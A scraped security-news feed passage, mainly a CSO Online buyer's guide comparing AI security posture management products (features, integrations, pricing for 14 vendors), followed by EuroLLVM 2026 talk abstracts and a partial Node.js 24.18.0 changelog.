<p>In the past, security posture management tools were designed for two situations: to protect general cloud operations against misconfigurations and abuse, which is the province of <a href="https://www.csoonline.com/article/657138/how-to-choose-the-best-cloud-security-posture-management-tools.html">cloud security posture management</a> tools; and to protect against data leakage or malware infections, which is the province of <a href="https://www.csoonline.com/article/2075321/top-12-data-security-posture-management-tools.html">data security posture management</a> tools. With the rise of AI and large language models (LLMs), a third SPM product category is needed to check AI cloud services and their SDKs (like <a href="https://www.csoonline.com/article/4181094/hugging-face-transformers-rce-flaw-enables-stealthy-compromise-via-ai-model-configs.html">Hugging Face Transformers</a> or Azure Open AI SDK) to prevent model abuses. This is because numerous studies have documented how AI training data can be the subject of an attack or how bad data can be injected into models to manipulate results, including creating malicious backdoors for attackers to use to enter your enterprise.</p>



<p>The latest reports about attacks on AI and AI abuse can help you better understand the scope of security challenges rapidly evolving today. MITRE continues to enhance its comprehensive database of adversary tactics — <a href="https://atlas.mitre.org/">Adversarial Threat Landscape for Artificial-Intelligence Systems (ATLAS)</a> — based on real-world attack observations. ATLAS currently spans 170 techniques and 57 case studies. <a href="https://airisk.mit.edu/">MIT researchers also maintain a growing database of more than 1,700 AI-related risks</a> that they have observed from various AI sources. Another great source of AI-related attack methods is from the Open Worldwide Application Security Project (OWASP), which maintains a <a href="https://genai.owasp.org/resource/owasp-top-10-for-llm-applications-2025/">Top 10 list of LLM exploits.</a> Security managers should examine them before choosing any AI-SPM product. They should also consult Richard Stiennon’s <a href="http://guardiansofthemachineage.com/">Guardians of the Machine Age</a>, the most comprehensive collection of general security vendors, listing more than 100 AI security vendors. The printed book offers a deeper dive into the specifics of these tools.</p>



<p>The AI-SPM vendor landscape is quickly evolving, as incumbent security vendors have made numerous acquisitions. Palo Alto Networks bought Protect.ai last year; Cato Networks acquired Aim.security; Orca acquired Opus for AI agentic security; SentinelOne acquired Prompt.Security; Varonis acquired a variety of companies, including Cyral, SlashNext, and <a href="http://alltrue.ai/">AllTrue.ai</a>; and Google acquired Wiz.</p>



<h2 class="wp-block-heading">Why enterprises need AI-SPM</h2>



<p>AI-SPMs have been designed to protect enterprise networks and applications from a range of threats to AI systems. Just like no modern business would assemble a network without an appropriate firewall, AI-SPMs “ensure that AI models stay explainable, fair, accountable, transparent and equitable,” Forrester analyst Andras Cser tells CSO. “Further good security hygiene dictates that AI infrastructure should not be allowed to be used as a steppingstone for hackers for lateral movement and data exfiltration, and should include policies to prevent and fix configuration drift.”</p>



<p>AI-SPM can also help organizations standardize on a series of AI policies, procedures, tools, and workflows that can boost their security. Guido’s talk — linked above — is chock full of suggestions on how Trail of Bits accomplished this.</p>



<h2 class="wp-block-heading">Major AI-SPM trends and product features</h2>



<p>All AI-SPM vendors make use of agentless configurations, accessing cloud-based models and leaving data on their existing platforms. This is both a security measure and to avoid moving the massive data repositories involved across the internet.</p>



<p>AI-SPM vendors also make use of AI-related mechanisms to classify and track these vast data collections and to protect them against potential abuse and attack. Many have integrated their AI-SPM solutions in one of three directions:</p>



<ul class="wp-block-list">
<li>Bolting AI-SPM onto their existing cloud or data SPM platforms with rules, compliance checking, best practices, and protection policies that bridge all three types of security postures.</li>



<li>Stitching AI-SPM into their general AI security product that can be used to formulate AI-specific policies and perform AI-based red team and penetration testing in an effort to protect AI pipelines and workloads and uncover ways that shared AI services and platforms could be compromised.</li>



<li>Incorporating AI-SPM to help identify sensitive data referenced by an AI model and to examine training data exposed to a third-party or external application.</li>
</ul>



<p>Some vendors, especially established security vendors such as CrowdStrike, Proofpoint, Palo Alto, Varonis, and Wiz, have hundreds of third-party integrations that cover the AI waterfront (such as AI assistants and model suppliers) and general IT security arena (such as development pipelines, data feeds, and tools such as SOAR and SIEM). All three types of integrations can provide better guiderails and limit an AI’s blast radius.</p>



<p>But AI-SPM is still evolving. Some vendors’ tools just perform a top-level inspection of one or two services from each of the big three cloud platforms’ AI services (Amazon, for example, has dozens of AI-related service offerings), whereas others (such as Palo Alto Networks, Cato, Cyera, Varonis, and Wiz) take a deeper dive, performing a more comprehensive examination of AI data from the AI vendors themselves and other model sources.</p>



<p>There are two open source efforts as well: <a href="https://orca.security/resources/blog/orca-ai-goat-open-source-environment-owasp-risks/">Orca’s GOAT</a> is a free learning platform that is based on the OWASP top 10 risks. Palo Alto’s Protect.ai has its collection of <a href="https://github.com/protectai">open-source tools on GitHub</a> for scanning models and discovering AI interactions and automated red teaming called ProtectAI OSS. However, neither of these projects has been recently updated.</p>



<h2 class="wp-block-heading">How to choose an AI-SPM tool</h2>



<p>Here are several considerations when deciding on the best AI-SPM tool for your enterprise: </p>



<ol class="wp-block-list">
<li><strong>Does the vendor work with your existing security tool collection?</strong> This has two dimensions: integrating with other SPM products (such as data or cloud protection), and integrating with third-party tools such as SOARs, SIEMs, or DLP products. We have included some vendors that don’t have a specific AI-related SPM (such as Concentric and CrowdStrike) but have deeply embedded AI protection into their platforms.</li>



<li><strong>How deep is the coverage across the cloud platform providers?</strong> The big three (AWS, Azure, and GCP) have many services that touch various aspects of AI, and some products only work with a few of them, or only connect with PaaS security “hubs.”</li>



<li><strong>Does the vendor continuously scan your infrastructure looking for vulnerabilities?</strong> AI can be quickly adopted and is very dynamic, so discrete scans are less useful.</li>



<li><strong>How important is having a tool that can help with <a href="https://url.usb.m.mimecastprotect.com/s/9zsRCB1MnMHEEY8nHNiwc2W8AV?domain=csoonline.com">AI red teaming</a>?</strong> Understanding the dynamic nature of how AI operates means having a different approach to penetration testing, and this can be a very useful feature. Only a few vendors offer this feature (such as Concentric, Palo Alto Networks, and Varonis).</li>
</ol>



<h2 class="wp-block-heading">Leading AI-SPM vendors and products</h2>



<p>We reached out to a range of leading AI-SPM security vendors to demonstrate their AI-related tools. Below are more details about each of the 14 we had the opportunity to preview. We have also summarized each vendor’s offerings in the features table, which also provides links, when available, to pricing and third-party integration details. Several vendors didn’t respond to our inquiries, including Baffle.io, Invicti, SecurityCompass, Tonic Security, and Zscaler.</p>



<figure class="wp-block-table"><div class="overflow-table-wrapper"><table class="has-fixed-layout"><tbody><tr><td><strong>Vendor</strong></td><td><strong>Product/URL</strong></td><td><strong>Entry-level pricing</strong></td><td><strong>Packaging</strong></td><td><strong>Integrations link</strong></td><td><strong>App runtime security</strong></td><td><strong>Continuous scanning?</strong></td><td><strong>MCP/Agent protection?</strong></td><td><strong>AI Red Teaming?</strong></td></tr><tr><td>Arthur.ai</td><td><a href="https://www.arthur.ai/platform">Arthur Platform</a></td><td><a href="https://www.arthur.ai/pricing">Free and paid versions</a></td><td>Single product</td><td><a href="https://www.arthur.ai/any-ai-any-use-case">Deep PaaS coverage</a></td><td>Yes</td><td>Yes</td><td>Yes</td><td>No</td></tr><tr><td>Cato Networks</td><td><a href="https://www.catonetworks.com/platform/ai-security-for-end-users/">AI Security for End Users</a></td><td></td><td>SASE platform</td><td><a href="https://support.catonetworks.com/hc/en-us/articles/13975273800733-Cato-Data-Third-Party-Supported-Integrations">Numerous</a></td><td>Yes</td><td>Yes</td><td>Yes</td><td>No</td></tr><tr><td>Concentric</td><td>No specific AI-SPM product</td><td><a href="https://aws.amazon.com/marketplace/pp/prodview-nxjxmrwq7bkea?nc2=type_a_top_search">AWS $50,000/yr, varies</a></td><td><a href="https://concentric.ai/product-overview/">Part of its DSPM platform</a></td><td><a href="https://concentric.ai/integrations/">Numerous</a></td><td>No</td><td>Yes</td><td>No</td><td>Yes</td></tr><tr><td>CrowdStrike</td><td>No specific AI-SPM product</td><td></td><td><a href="https://www.crowdstrike.com/en-us/platform/cloud-security/ai-spm/">Part of Falcon AI platform</a></td><td><a href="https://marketplace.crowdstrike.com/">Numerous</a></td><td>Yes</td><td>Yes</td><td>Yes</td><td><a href="https://www.crowdstrike.com/en-us/press-releases/crowdstrike-launches-ai-red-team-services-secure-ai-systems/">Separate service</a></td></tr><tr><td>Cyera</td><td><a href="https://www.cyera.com/platform/ai-guardian">AI Guardian</a></td><td><a href="https://aws.amazon.com/marketplace/pp/prodview-mc6f4tbu6otj4?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa">AWS $50,000/yr</a></td><td>Sold in two bundles, see description</td><td><a href="https://www.cyera.com/integrations">Numerous</a></td><td>Yes</td><td>Yes</td><td>Yes</td><td>No</td></tr><tr><td>Guardrail Technologies</td><td><a href="https://guardrail.tech/ai-traffic-light/">Traffic Light for Code and AI</a></td><td><a href="https://guardrail.tech/pricing/">Free and monthly plans</a></td><td>Also sell AI Command Center</td><td>Some</td><td>Yes</td><td>Yes</td><td>No</td><td>No</td></tr><tr><td>Microsoft</td><td><a href="https://www.microsoft.com/en-us/security/business/microsoft-purview">Purview</a></td><td>$12.60/user/mo</td><td>Part of larger CSPM platform</td><td>Some</td><td>Yes</td><td>No</td><td>Yes</td><td>No</td></tr><tr><td>OneTrust</td><td><a href="https://www.onetrust.com/solutions/ai-governance/">AI Governance</a></td><td>Subscriptions</td><td>Single product with SPM features</td><td>Some</td><td>Yes</td><td>Yes</td><td>No</td><td>No</td></tr><tr><td>Orca Security</td><td><a href="https://orca.security/platform/ai-security-posture-management/">AI-SPM</a></td><td><a href="https://aws.amazon.com/marketplace/pp/prodview-rogbt2k4b63xc?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa">AWS $84,000/yr</a></td><td>Has other AI security tools</td><td><a href="https://orca.security/integrations/">Numerous</a></td><td>Yes</td><td>Yes</td><td>Yes</td><td>No</td></tr><tr><td>Palo Alto Networks</td><td><a href="https://www.paloaltonetworks.com/prisma/prisma-ai-runtime-security">Prisma AI Security</a></td><td></td><td>Sold in two bundles, see description</td><td><a href="https://docs.prismacloud.io/en/enterprise-edition/content-collections/administration/configure-external-integrations-on-prisma-cloud/integrations-feature-support">Numerous</a></td><td>Yes</td><td>Yes</td><td>Yes</td><td>Yes</td></tr><tr><td>Proofpoint</td><td><a href="https://www.proofpoint.com/us/products/ai-access-security">AI Access Security</a></td><td><a href="https://aws.amazon.com/marketplace/pp/prodview-dcj7rctb55qie?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa">AWS $96,000/yr</a></td><td>People Protection Platform</td><td>Numerous</td><td>Yes</td><td>Yes</td><td>Yes</td><td>No</td></tr><tr><td>SentinelOne</td><td>No specific AI SPM product</td><td><a href="https://www.sentinelone.com/platform-packages/">$80/yr/endpoint</a></td><td><a href="https://www.sentinelone.com/platform/securing-ai/">Part of larger Singularity platform</a></td><td><a href="https://www.sentinelone.com/partners/singularity-marketplace/">Numerous</a></td><td>Yes</td><td>Yes</td><td>Yes</td><td>Yes</td></tr><tr><td>Varonis</td><td><a href="https://www.varonis.com/platform/ai-security">Atlas</a></td><td><a href="https://aws.amazon.com/marketplace/pp/prodview-eoyer6g2olf6k?sr=0-3&amp;ref_=beagle&amp;applicationId=AWSMPContessa">AWS $108,000/yr</a></td><td>Bundled with AI Inventory</td><td><a href="https://varonis.com/coverage">Hundreds</a></td><td>Yes</td><td>Yes</td><td>Yes</td><td>Yes</td></tr><tr><td>Wiz/Google</td><td><a href="https://www.wiz.io/blog/introducing-wiz-ai-app">AI App Protection Platform</a></td><td><a href="https://aws.amazon.com/marketplace/pp/prodview-ibgbkrqusncsm?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa">AWS $38,000/yr</a></td><td>Variety of bundles available</td><td>Numerous</td><td>Yes</td><td>Yes</td><td>Yes</td><td>No</td></tr></tbody></table> </div></figure>



<h3 class="wp-block-heading">Arthur.ai</h3>



<p><a href="https://url.usb.m.mimecastprotect.com/s/FchtCzq8n8HJJ54rf4fVc9Ae_i?domain=arthur.ai/">Arthur.ai’s</a> platform is a single product that offers deep PaaS coverage with both AWS and Google Cloud Platform, although unlike other AI-SPMs it doesn’t offer a wide range of third-party integrations. It includes application runtime security protection. It also scans network traffic continuously and watches for agent activity, along with policy guardrails to protect against prompt injection and sensitive data leakage. It includes behavioral analytics and governance that catch abusive agentic activities. There are <a href="https://url.usb.m.mimecastprotect.com/s/yx7UCA8LmLh77kERH8hOcGedvn?domain=arthur.ai">free and paid versions</a> starting at $10,000 annual plans for smaller networks.</p>



<h3 class="wp-block-heading">Cato Networks AI Security for End Users</h3>



<p><a href="https://www.catonetworks.com/platform/ai-security-for-end-users/">Cato Networks AI Security for End Users</a> is one of three separate AI security packages that work together with Cato’s SASE platform, the other two being protection for applications (both runtime and across the software development lifecycle) and for real-time agentic operations. The three AI packages are meant to be purchased together to provide audit trails showing what users are doing with their AI tools and to help understand and illustrate the risks. Cato’s tools can also prevent prompt injection and data leaks and find compliance blind spots. Its platform has a <a href="https://support.catonetworks.com/hc/en-us/articles/13975273800733-Cato-Data-Third-Party-Supported-Integrations">wide collection of third-party integrations</a>, including CrowdStrike, Microsoft, and Splunk SIEMs, and various data sources such as Google’s Chronicle and Rapid7. Cato Networks did not reveal pricing.</p>



<h3 class="wp-block-heading">Concentric AI and Data Security Governance</h3>



<p>Concentric sells a <a href="https://concentric.ai/product-overview/">DSPM platform</a> labelled “AI and Data Security Governance.” There is no specific AI tool, although AI pervades its product in a variety of places, including scanning various models for prompt injection, automated remediation, and the discovery and classification of data flows. It offers a <a href="https://concentric.ai/integrations/">wide collection of third-party integrations.</a> On the <a href="https://aws.amazon.com/marketplace/pp/prodview-nxjxmrwq7bkea?nc2=type_a_top_search">AWS Marketplace</a>, it sells an entry-level version for $50,000 per year that covers up to 25TB of data, with higher fees for larger data collections.</p>



<h3 class="wp-block-heading">CrowdStrike Falcon AI-SPM</h3>



<p><a href="https://www.crowdstrike.com/en-us/platform/cloud-security/ai-spm/">CrowdStrike Falcon AI-SPM</a> is not a separate product, but part of the overall Falcon Cloud security platform. It can correlate risk findings with other security services monitored by the full Falcon platform. It includes discovery of AI services and models across a variety of cloud platforms, including containers and virtual images, and can detect misconfigurations and dependencies with other software. It scans OpenAI, Amazon Bedrock, Amazon SageMaker, and Vertex AI models. <a href="https://marketplace.crowdstrike.com/">Falcon has more than 250 integrations</a> available to a wide collection of third-party security tools. You can request a free 15-day trial, but no further pricing information was disclosed.</p>



<h3 class="wp-block-heading">Cyera AI Guardian</h3>



<p>Cyera.io specializes in data file level classification. It packages its AI-SPM product in two separate bundles: either with its flagship <a href="https://www.cyera.io/platform/dspm">DSPM product</a> that has added what you might think of as AI-enriched data link protection as part of the default product’s features, or with a more complete set of security features called <a href="https://www.cyera.com/platform/ai-guardian">AI Guardian</a>. Cyera also offers a specialized add-on module used for Microsoft Copilot data scanning that can detect data used by insiders, for example. <a href="https://aws.amazon.com/marketplace/pp/prodview-mc6f4tbu6otj4?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa%20%5D">Cyera’s AWS Marketplace pricing can be found here</a> and starts at $50,000 per year. </p>



<h3 class="wp-block-heading">Guardrail Technologies Traffic Light for Code and AI</h3>



<p><a href="https://guardrail.tech/ai-traffic-light/">Guardrail Technologies Traffic Light for Code and AI</a> is designed to be a simple way to flag potential AI abuse by scanning AI-generated code and returning a red/yellow/green result to indicate potential for compromise. There is no remediation, but the tool integrates across the major AI vendors, including Anthropic, Azure Open AI, Hugging Face, and AWS Bedrock, and general security tools such as Wiz and Snyk. Guardrail has a custom AI security consulting business as well called AI Guardian. Very transparent pricing page and a 60-day free trial is available.</p>



<h3 class="wp-block-heading">Microsoft Purview</h3>



<p>Microsoft has bundled its various security posture tools into its <a href="https://www.microsoft.com/en-us/security/business/microsoft-purview">Purview offering</a>, which includes a series of AI-based Copilot apps, data SPM and classification tools, and data loss prevention extensions tuned to its various SaaS platforms such as 365, Azure, and Windows endpoints. This extends the AI security features that were originally part of its Defender for Cloud offerings. It has a limited number of third-party integrations. One-month free trials are available, and the entire suite is available for $12.60 per month per user. Microsoft has stepped up its involvement with AI with its Scout, a collection of autonomous AI agents built on top of OpenClaw. It is designed to work with its applications, using built-in security and privacy controls.</p>



<h3 class="wp-block-heading">OneTrust AI Governance</h3>



<p><a href="https://www.onetrust.com/solutions/ai-governance/">OneTrust offers AI Governance</a>, a platform that automates compliance and provides continuous monitoring of the AI landscape, across the software lifecycle starting with any AI usage at the beginning of any build. It can detect policy violations, and which AI agents are running. It offers a series of third-party integrations such as Amazon’s Bedrock and Sagemaker; Azure Foundry, ML Studio, and OpenAI; Databricks Unity Catalog and ML flow; and Google Vertex. Its subscription price is based on the number of admin users and number of AI inventory records, although no specifics were provided.</p>



<h3 class="wp-block-heading">Orca AI-SPM</h3>



<p><a href="https://orca.security/platform/ai-security/ai-spm/">Orca Security’s AI-SPM </a>is tightly integrated into the company’s security platform. It continues to expand its features, offering detections of more than 50 AI models, including training data and runtime threats, remediation, and support for Model Context Protocol to connect to other Orca-based telemetry. It <a href="https://orca.security/integrations/">continues to expand its nearly 100 integrations</a> across SIEM and SOAR systems and various cloud providers’ services. For example, it works with AWS S3, SQS, SNS, CodeBuild, CloudTrail, and Security Hub. It comes with dozens of best-practice security rules that initially focused on compliance. It also alerts when sensitive data is detected inside models and when secrets are exposed. Orca’s overall security platform shows an <a href="https://aws.amazon.com/marketplace/pp/prodview-rogbt2k4b63xc?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa">AWS Marketplace annual pricing that ranges from $84,000 to $360,000</a>, depending on the number of workloads scanned.</p>



<h3 class="wp-block-heading">Palo Alto Networks AIRS AI Security</h3>



<p>Palo Alto Networks has been busy acquiring point security vendors (Dig, ProtectAI, and an offer on Portkey) and incorporating their code into its two major product lines, Prisma and Cortex. You can purchase AI-SPM functionality in either Palo Alto product line, but they cover different aspects of the AI ecosystem. Cortex offers AI-SPM alongside the data and cloud SPMs integrated into the CNAPP suite. Prisma offers AI-SPM as part of a total AI security package called <a href="https://www.paloaltonetworks.com/prisma/prisma-ai-runtime-security">AIRS AI Security</a>, which includes runtime protection, model scanning, and a more comprehensive platform. We focus on AIRS AI, which supports top-level scans of Amazon, Google Cloud, and Azure AI services to discover AI content and can classify and examine model data and secrets and comes with many built-in AI-related policies. Prisma has a <a href="https://docs.prismacloud.io/en/enterprise-edition/content-collections/administration/configure-external-integrations-on-prisma-cloud/integrations-feature-support">long list of third-party integrations</a>, including significant depth in AWS security services. That link will also take you to detailed instructions on how to set up these integrations. To complicate matters further, Palo Alto also sells a <a href="https://www.paloaltonetworks.com/sase/prisma-browser">separate Prisma secure browser extension</a> that works with these products to protect your endpoints, and that originated from technology it purchased from Talon Cyber Security in 2023. While pricing was not disclosed, our estimate is that AIRS will cost in the low six figures annually.</p>



<h3 class="wp-block-heading">Proofpoint People Protection Platform</h3>



<p>Proofpoint includes a <a href="https://www.proofpoint.com/us/products/ai-access-security">general AI security product</a> as part of its People Protection Platform that covers a wide range of protective services integrated across its other non-AI security tools. It provides runtime inspection of potential AI misconfigurations, as well as policies that include detection of agent, tools, and MCP connections, and it can generate forensic audits of AI interactions. Proofpoint’s general security platform starts at <a href="https://aws.amazon.com/marketplace/pp/prodview-dcj7rctb55qie?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa">$96,000 annually on AWS Marketplace</a>. It has several integrations with third-party services across the major cloud platform providers.</p>



<h3 class="wp-block-heading">SentinelOne Singularity Platform</h3>



<p><a href="https://www.sentinelone.com/platform/securing-ai/">SentinelOne’s Singularity platform</a> offers several AI protective features, including misconfiguration detection, attack path analysis, automated AI inventory and remediation, and integration with a variety of AI PaaS platforms such as Azure OpenAI, Google’s Vertex AI, and various AWS services. It is bundled within the company’s Cloud Native Security tool. Some of these features originated with Singularity’s purchase of Prompt.Security. Access to all the features requires purchasing the enterprise edition, which is offered with custom pricing, but lower feature tiers are available for $80 per year on <a href="https://www.sentinelone.com/platform-packages/">this public pricing page</a>. There are also <a href="https://www.sentinelone.com/partners/singularity-marketplace/">numerous integrations with its Marketplace</a>.</p>



<h3 class="wp-block-heading">Varonis Atlas AI Security</h3>



<p><a href="https://www.varonis.com/solutions/ai-security">Varonis Atlas AI Security</a> is a multipurpose security platform that offers a variety of modules, including red team/penetration testing, compliance, and third-party risk management. Its AI-SPM module is combined with an AI inventory scanner and can be used to help development teams classify data used in the AI ecosystem, such as scanning for bad AI behavior, leveraging identities improperly, and examining data flows. Automated remediation processes are built into the tool as well. There are several <a href="https://www.varonis.com/coverage">hundred third-party integrations available</a> for a wide collection of security tools, such as JFrog, Jira, Okta, and Salesforce. Varonis has two pricing components; one based on per user and per protected application and an additional price for resource consumption. Atlas is sold on the <a href="https://aws.amazon.com/marketplace/pp/prodview-ibgbkrqusncsm?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa">AWS Marketplace starting at $108,000 per year</a> and free risk assessments are available to qualified customers.</p>



<h3 class="wp-block-heading">Wiz/Google AI Application Protection Platform</h3>



<p>Google has acquired Wiz but kept its operation independent. It has a <a href="https://www.wiz.io/solutions/ai-spm">multipurpose security platform</a> that comes from a strong posture management (cloud and data) background. Its advanced version has been augmented with a comprehensive AI-related series of policies, detection algorithms, and pipeline, model, and data scanners. These are assembled into a separate AI dashboard page. It can also detect AI pipeline abuses, protect AI runtimes, identify and classify tools and agents, map dependencies graphically and suggest remediation steps. It also contains core AI-SPM features such as discovery, attack path analysis, and supply chains. Pricing for the Wiz Advanced bundle on <a href="https://aws.amazon.com/marketplace/pp/prodview-ibgbkrqusncsm?sr=0-1&amp;ref_=beagle&amp;applicationId=AWSMPContessa">AWS Marketplace is $38,000 annually</a>.</p>



<h2 class="wp-block-heading">What about AI-SPM pricing?</h2>



<p>Pricing and packaging of AI-SPM tools vary widely. Many vendors offer free trials limited to differing periods (an option that is also available on the AWS Marketplace). We pointed out the open-source alternatives earlier, which is also a good way to see how the products work, but we wouldn’t recommend relying on these tools given their lack of recent updates. The only vendors that have (mostly) transparent pricing are Guardrail Technologies (with both free and monthly plans) and SentinelOne (with various annual plans starting at $80 per endpoint). Most of the vendors didn’t want to provide pricing directly but have published pricing on the AWS Marketplace, which can give you a rough indication that most start in the low six figures for annual contracts. For a typical situation with 1,000 users the total could be in the low six-figure range annually.</p>
</div></div></div></div>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026 EuroLLVM - Coverage directed codebase reduction for the procedural generation of LIT tests]]></title>
<description><![CDATA[Author: LLVM - Bewertung: 0x - Views:0 2026 EuroLLVM Developers' Meeting
https://llvm.org/devmtg/2026-04/
------
Title: Coverage directed codebase reduction for the procedural generation of LIT tests
Speaker: Freya Fewtrell
------
Slides:  https://llvm.org/devmtg/2026-04/slides/lightning_talk/lig...]]></description>
<link>https://tsecurity.de/de/3620032/it-security-video/2026-eurollvm-coverage-directed-codebase-reduction-for-the-procedural-generation-of-lit-tests/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3620032/it-security-video/2026-eurollvm-coverage-directed-codebase-reduction-for-the-procedural-generation-of-lit-tests/</guid>
<pubDate>Wed, 24 Jun 2026 04:03:24 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: LLVM - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/XFOda0pyDbU?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>2026 EuroLLVM Developers' Meeting<br />
https://llvm.org/devmtg/2026-04/<br />
------<br />
Title: Coverage directed codebase reduction for the procedural generation of LIT tests<br />
Speaker: Freya Fewtrell<br />
------<br />
Slides:  https://llvm.org/devmtg/2026-04/slides/lightning_talk/lightning_talk_fewtrell.pdf<br />
-----<br />
The LIT test suite, whilst extensive, still leaves many parts of the LLVM codebase uncovered. Compiling large real-world C++ code from Sony Interactive Entertainment's downstream integration test suite routinely exercises code paths that the upstream LIT suite never reaches. To shift this testing leftwards, we have built a tool that uses coverage-directed reduction to automatically turn such high-coverage sources into minimal, self-contained LLVM IR fragments suitable for inclusion as upstream LIT tests. This lightning talk describes how the tool works, the challenges encountered when trying to automate test reduction at scale, and whether increasing coverage alone is sufficient motivation for new upstream LIT tests.<br />
-----<br />
Videos Edited by Bash Films: http://www.BashFilms.com<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026 EuroLLVM - Adding Nullability Checking and Annotations to Many Millions of Lines of Code]]></title>
<description><![CDATA[Author: LLVM - Bewertung: 0x - Views:0 2026 EuroLLVM Developers' Meeting
https://llvm.org/devmtg/2026-04/
------
Title: Adding Nullability Checking and Annotations to Many Millions of Lines of Code
Speaker: Jan Voung
------
Slides:  https://llvm.org/devmtg/2026-04/slides/technical_talk/technical_...]]></description>
<link>https://tsecurity.de/de/3619968/it-security-video/2026-eurollvm-adding-nullability-checking-and-annotations-to-many-millions-of-lines-of-code/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619968/it-security-video/2026-eurollvm-adding-nullability-checking-and-annotations-to-many-millions-of-lines-of-code/</guid>
<pubDate>Wed, 24 Jun 2026 03:33:01 +0200</pubDate>
<category>🎥 IT Security Video</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p>Author: LLVM - Bewertung: 0x - Views:0 <br/></p><p><iframe id="ytplayer" loading="lazy" type="text/html" width="100%" height="auto" src="https://www.youtube.com/embed/KzIRpQgRE0M?autoplay=1&origin=http://tsecurity.de" frameborder="0"></iframe></p><p>2026 EuroLLVM Developers' Meeting<br />
https://llvm.org/devmtg/2026-04/<br />
------<br />
Title: Adding Nullability Checking and Annotations to Many Millions of Lines of Code<br />
Speaker: Jan Voung<br />
------<br />
Slides:  https://llvm.org/devmtg/2026-04/slides/technical_talk/technical_talk_voung.pdf<br />
-----<br />
At Google, our team has been working on reducing null pointer dereference crashes in a huge and diverse C++ codebase by: (a) adopting the Clang nullability annotations and (b) implementing a flow-sensitive intra-procedural dataflow analysis in ClangTidy that verifies that code adheres to the contracts of the annotations. However, to get the most coverage, we need to introduce the annotations to millions of lines of code. To assist with that, we've developed an inter-TU annotation inference tool, and added inferred annotations through a "large-scale change". This talk introduces how the ClangTidy verification and inference tools work, but also discusses the practical experience and the challenges we faced attempting to infer the annotations in "legacy" C++.<br />
-----<br />
Videos Edited by Bash Films: http://www.BashFilms.com<br/></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[2026-06-23, Version 24.18.0 'Krypton' (LTS), @richardlau prepared by @sxa]]></title>
<description><![CDATA[Notable Changes

[e07e7a31e1] - crypto: update root certificates to NSS 3.123.1 (Node.js GitHub Bot) #63527
[44c8ebcbd6] - http: avoid stream listeners on idle agent sockets (Matteo Collina) #64004
[d3ef4122ee] - (SEMVER-MINOR) buffer: increase Buffer.poolSize default to 64 KiB (Matteo Collina) #...]]></description>
<link>https://tsecurity.de/de/3619855/downloads/2026-06-23-version-24180-krypton-lts-richardlau-prepared-by-sxa/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3619855/downloads/2026-06-23-version-24180-krypton-lts-richardlau-prepared-by-sxa/</guid>
<pubDate>Wed, 24 Jun 2026 01:16:44 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h3>Notable Changes</h3>
<ul>
<li>[<a href="https://github.com/nodejs/node/commit/e07e7a31e1"><code>e07e7a31e1</code></a>] - <strong>crypto</strong>: update root certificates to NSS 3.123.1 (Node.js GitHub Bot) <a href="https://github.com/nodejs/node/pull/63527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63527/hovercard">#63527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/44c8ebcbd6"><code>44c8ebcbd6</code></a>] - <strong>http</strong>: avoid stream listeners on idle agent sockets (Matteo Collina) <a href="https://github.com/nodejs/node/pull/64004" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/64004/hovercard">#64004</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/d3ef4122ee"><code>d3ef4122ee</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>buffer</strong>: increase Buffer.poolSize default to 64 KiB (Matteo Collina) <a href="https://github.com/nodejs/node/pull/63597" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63597/hovercard">#63597</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/bb2857b85a"><code>bb2857b85a</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: align key argument names in docs and error messages (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/b9d5e87880"><code>b9d5e87880</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: accept key data in crypto.diffieHellman() and cleanup DH jobs (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62527" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62527/hovercard">#62527</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/ccd756d61e"><code>ccd756d61e</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>crypto</strong>: add TurboSHAKE and KangarooTwelve Web Cryptography algorithms (Filip Skokan) <a href="https://github.com/nodejs/node/pull/62183" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/62183/hovercard">#62183</a></li>
<li>[<a href="https://github.com/nodejs/node/commit/4c9251fc09"><code>4c9251fc09</code></a>] - <strong>(SEMVER-MINOR)</strong> <strong>http</strong>: add writeInformation to send arbitrary 1xx status codes (Tim Perry) <a href="https://github.com/nodejs/node/pull/63155" data-hovercard-type="pull_request" data-hovercard-url="/nodejs/node/pull/63155/hovercard">#63155</a></li>
